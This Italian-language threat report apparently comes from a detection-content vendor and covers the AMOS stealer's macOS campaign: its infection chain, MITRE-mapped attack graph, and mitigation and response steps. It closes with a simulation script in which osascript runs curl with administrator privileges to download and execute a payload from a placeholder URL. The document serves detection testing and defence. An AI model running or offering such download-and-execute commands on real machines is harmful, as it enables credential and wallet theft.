SOC Prime Bias: Medio

08 Mag 2026 18:45

AMOS Stealer Attacca macOS Attraverso App “Craccate”

Author Photo
SOC Prime Team linkedin icon Segui
AMOS Stealer Attacca macOS Attraverso App “Craccate”
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Il report descrive una campagna che distribuisce Atomic macOS Stealer (AMOS) camuffandolo da applicazioni crackate o istruendo gli utenti a eseguire comandi terminal copiati e incollati. Una volta eseguito, il malware raccoglie un ampio set di dati sensibili, incluse credenziali, informazioni del browser, portafogli di criptovaluta, file delle applicazioni di messaggistica, profili VPN e documenti personali, per poi esfiltrare i contenuti rubati tramite HTTP o HTTPS. Per evitare il rilevamento statico, gli operatori ruotano i domini e gli URL durante la campagna. L’attività è indirizzata agli utenti macOS, in particolare a quelli che cercano software non ufficiali o piratati.

Indagine

La telemetria di Trend Vision One è stata utilizzata per ricostruire l’intera catena di infezione, iniziando con i download di applicazioni crackate da haxmac.cc, seguiti da reindirizzamenti attraverso domini intermediari, esecuzione di script shell dannosi, creazione di daemon di avvio per la persistenza, staging dei dati in /tmp, compressione in archivi ZIP ed esfiltrazione verso domini rotanti controllati dagli attaccanti. I ricercatori hanno catturato le linee di comando rilevanti, i percorsi dei file e gli indicatori comportamentali associati a ciascuna fase della compromissione.

Mitigazione

Le organizzazioni dovrebbero educare gli utenti sui rischi del software crackato e dei comandi terminal copiati e incollati, applicare i controlli Gatekeeper e notarizzazione, e limitare l’esecuzione di script non necessari sui sistemi macOS. I difensori dovrebbero anche monitorare attività sospette di curl and osascript e bloccare l’accesso a domini e indirizzi IP noti come dannosi. Le rilevazioni degli endpoint dovrebbero concentrarsi sulla creazione non autorizzata di daemon di avvio, il posizionamento nascosto di file e comportamenti insoliti di raccolta o esfiltrazione dei file.

Risposta

Se viene rilevata un’attività di AMOS, isolare l’endpoint interessato, terminare i processi dannosi, rimuovere file nascosti come .helper, .agent, e com.finder.helper.plist, e cancellare qualsiasi dato preparato per l’esfiltrazione. Le credenziali compromesse devono essere revocate e un’analisi forense dovrebbe essere effettuata su qualsiasi archivio recuperato. L’infrastruttura dannosa identificata deve essere bloccata e i contenuti di rilevazione devono essere aggiornati per monitorare i pattern di comando osservati.

graph TB %% Definizioni delle classi classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef data fill:#ccffcc %% Nodi – Azioni (Tecniche) step1_initial_access_file[“<b>Azione</b> – <b>T1204.002 Esecuzione Utente: File Malevolo</b><br/>La vittima scarica ed esegue un file .dmg trojanizzato mascherato da applicazione crackata.”] class step1_initial_access_file action step2_copy_paste[“<b>Azione</b> – <b>T1204.004 Esecuzione Utente: Copia e Incolla Malevolo</b><br/>La vittima copia un comando curl da una pagina web nel Terminale, che scarica ed esegue install.sh.”] class step2_copy_paste action step3_masquerading[“<b>Azione</b> – <b>T1036 Mascheramento</b><br/>Il malware viene presentato come software crackato legittimo e false pagine di installazione.”] class step3_masquerading action step4_curl_proxy[“<b>Azione</b> – <b>T1218 Esecuzione Proxy di Binari di Sistema</b><br/>Il binario legittimo curl recupera script malevoli.”] class step4_curl_proxy action step5_osascript_proxy[“<b>Azione</b> – <b>T1216 Esecuzione Proxy di Script di Sistema</b><br/>osascript esegue un payload AppleScript per eseguire codice.”] class step5_osascript_proxy action step6_shell_interpreter[“<b>Azione</b> – <b>T1059.004 Interprete di Comandi e Script: Shell Unix</b><br/>I comandi shell creano directory, raccolgono file e invocano curl per l’esfiltrazione.”] class step6_shell_interpreter action step7_sudo_abuse[“<b>Azione</b> – <b>T1548.003 Abuso del Meccanismo di Elevazione dei Privilegi: Sudo e Cache Sudo</b><br/>La password catturata viene fornita a sudo per scrivere un plist LaunchDaemon con privilegi root.”] class step7_sudo_abuse action step8_persistence[“<b>Azione</b> – <b>T1569 Servizi di Sistema: LaunchDaemon</b><br/>LaunchDaemon (com.finder.helper.plist) esegue lo script malevolo .agent durante l’avvio del sistema.”] class step8_persistence action step9_defense_evasion[“<b>Azione</b> – <b>T1127 Esecuzione Proxy di Utilità di Sviluppo Attendibili</b><br/>Le utility di sviluppo Apple (osascript) vengono utilizzate per eseguire il payload, eludendo le difese.”] class step9_defense_evasion action step10_dga[“<b>Azione</b> – <b>T1568.002 Risoluzione Dinamica: Algoritmi di Generazione dei Domini</b><br/>L’attaccante ruota numerosi domini .cfd e altri domini per la distribuzione dei payload.”] class step10_dga action step11_browser_creds[“<b>Azione</b> – <b>T1555.003 Credenziali da Archivi Password: Browser Web</b><br/>Estrazione di dati di accesso e cookie di Chrome, Firefox ed Edge.”] class step11_browser_creds action step12_keychain[“<b>Azione</b> – <b>T1555 Credenziali da Archivi Password</b><br/>Estrazione di elementi del Keychain di macOS.”] class step12_keychain action step13_wallet_keys[“<b>Azione</b> – <b>T1552.004 Chiavi Private</b><br/>Furto di file di wallet di criptovalute.”] class step13_wallet_keys action step14_session_cookies[“<b>Azione</b> – <b>T1550.004 Cookie di Sessione Web</b><br/>Raccolta di cookie di sessione per un successivo riutilizzo.”] class step14_session_cookies action step15_archive[“<b>Azione</b> – <b>T1560 Archiviazione dei Dati Raccolti</b><br/>I file raccolti vengono compressi in out.zip.”] class step15_archive action step16_compression[“<b>Azione</b> – <b>T1027.015 Compressione</b><br/>I dati vengono compressi prima dell’esfiltrazione (offuscamento).”] class step16_compression action step17_exfil_https[“<b>Azione</b> – <b>T1071.001 Protocollo di Livello Applicativo: Protocolli Web</b><br/>L’archivio compresso viene caricato tramite HTTPS POST su un server controllato dall’attaccante.”] class step17_exfil_https action step18_indirect_curl[“<b>Azione</b> – <b>T1202 Esecuzione Indiretta di Comandi</b><br/>Il comando curl recupera ed esegue silenziosamente uno script remoto.”] class step18_indirect_curl action %% Nodi – Strumenti tool_curl[“<b>Strumento</b> – <b>Nome</b>: curl<br/><b>Descrizione</b>: Utilità da riga di comando per trasferire dati tramite URL.”] class tool_curl tool tool_osascript[“<b>Strumento</b> – <b>Nome</b>: osascript<br/><b>Descrizione</b>: Esegue script AppleScript o JavaScript for Automation.”] class tool_osascript tool tool_sudo[“<b>Strumento</b> – <b>Nome</b>: sudo<br/><b>Descrizione</b>: Esegue comandi con privilegi elevati.”] class tool_sudo tool tool_launchd[“<b>Strumento</b> – <b>Nome</b>: launchd<br/><b>Descrizione</b>: Gestore di servizi macOS per il caricamento di LaunchDaemon e agenti.”] class tool_launchd tool %% Nodi – File e Dati file_dmg[“<b>File</b> – <b>Nome</b>: trojanized.dmg<br/><b>Tipo</b>: Immagine disco mascherata da applicazione crackata”] class file_dmg file file_install_sh[“<b>File</b> – <b>Nome</b>: install.sh<br/><b>Tipo</b>: Script shell scaricato tramite curl”] class file_install_sh file data_out_zip[“<b>Dati</b> – <b>Nome</b>: out.zip<br/><b>Contenuto</b>: File raccolti pronti per l’esfiltrazione”] class data_out_zip data %% Connessioni di Flusso step1_initial_access_file –>|scarica ed esegue| file_dmg file_dmg –>|attiva| step1_initial_access_file step1_initial_access_file –>|porta a| step2_copy_paste step2_copy_paste –>|usa| tool_curl tool_curl –>|scarica| file_install_sh file_install_sh –>|esegue| step2_copy_paste step2_copy_paste –>|porta a| step3_masquerading step3_masquerading –>|abilita| step4_curl_proxy step4_curl_proxy –>|usa| tool_curl tool_curl –>|recupera| step5_osascript_proxy step5_osascript_proxy –>|usa| tool_osascript tool_osascript –>|esegue| step6_shell_interpreter step6_shell_interpreter –>|invoca| step7_sudo_abuse step7_sudo_abuse –>|usa| tool_sudo tool_sudo –>|scrive| step8_persistence step8_persistence –>|gestito da| tool_launchd tool_launchd –>|esegue| step9_defense_evasion step9_defense_evasion –>|facilita| step10_dga step10_dga –>|fornisce| step11_browser_creds step10_dga –>|fornisce| step12_keychain step10_dga –>|fornisce| step13_wallet_keys step10_dga –>|fornisce| step14_session_cookies step11_browser_creds –>|raccolto in| step15_archive step12_keychain –>|raccolto in| step15_archive step13_wallet_keys –>|raccolto in| step15_archive step14_session_cookies –>|raccolto in| step15_archive step15_archive –>|produce| data_out_zip data_out_zip –>|compresso da| step16_compression step16_compression –>|inviato tramite| step17_exfil_https step17_exfil_https –>|usa| tool_curl tool_curl –>|esegue| step18_indirect_curl step18_indirect_curl –>|completa| step1_initial_access_file %% Stile class step1_initial_access_file,step2_copy_paste,step3_masquerading,step4_curl_proxy,step5_osascript_proxy,step6_shell_interpreter,step7_sudo_abuse,step8_persistence,step9_defense_evasion,step10_dga,step11_browser_creds,step12_keychain,step13_wallet_keys,step14_session_cookies,step15_archive,step16_compression,step17_exfil_https,step18_indirect_curl action class tool_curl,tool_osascript,tool_sudo,tool_launchd tool class file_dmg,file_install_sh file class data_out_zip data

Flusso di attacco

Esecuzione di Simulazione

Prerequisito: La verifica preliminare della telemetria e del baseline deve essere superata.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) designata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrativa dell’attacco e comandi:
    Un avversario ha ottenuto un’esca di phishing che consegna un breve payload AppleScript. Lo script utilizza osascript per eseguire un comando shell (sh -c) che invoca curl per scaricare il binario AMOS stealer da un server C2 dannoso, lo memorizza nella ~/Library/Application Support/ dell’utente, e poi lo esegue con permessi elevati. L’uso del osascript (un binario Apple firmato) maschera l’attività come automazione legittima, mentre curl fornisce un download di rete furtivo.

  • Script di Test di Regressione:

    # amos_stealer_simulation.sh
    # Simula l'esecuzione di AMOS stealer su macOS usando osascript + curl
    # 1. Definire URL dannoso (utilizzare un segnaposto innocuo per sicurezza)
    MALICIOUS_URL="https://example.com/malicious_payload.sh"
    # 2. AppleScript che esegue un comando shell per scaricare ed eseguire il payload
    APPLESCRIPT=$(cat <<'EOF'
    do shell script "sh -c 'curl -s -o /tmp/payload.sh "https://example.com/malicious_payload.sh" && chmod +x /tmp/payload.sh && /tmp/payload.sh'" with administrator privileges
    EOF
    )
    # 3. Eseguire l'AppleScript tramite osascript
    echo "$APPLESCRIPT" | osascript
    # 4. Pausa breve per consentire l'esecuzione del payload
    sleep 5
  • Comandi di Pulizia:

    # cleanup_amos_simulation.sh
    # Rimuove gli artefatti creati dalla simulazione
    # Rimuovere il payload scaricato
    rm -f /tmp/payload.sh
    # Revoca qualsiasi processo temporaneo con privilegi elevati (se ancora in esecuzione)
    pkill -f "/tmp/payload.sh" || true
    # Opzionalmente, cancellare la cronologia di esecuzione di AppleScript
    # (macOS non conserva una cronologia persistente per osascript)
    echo "Pulizia completata."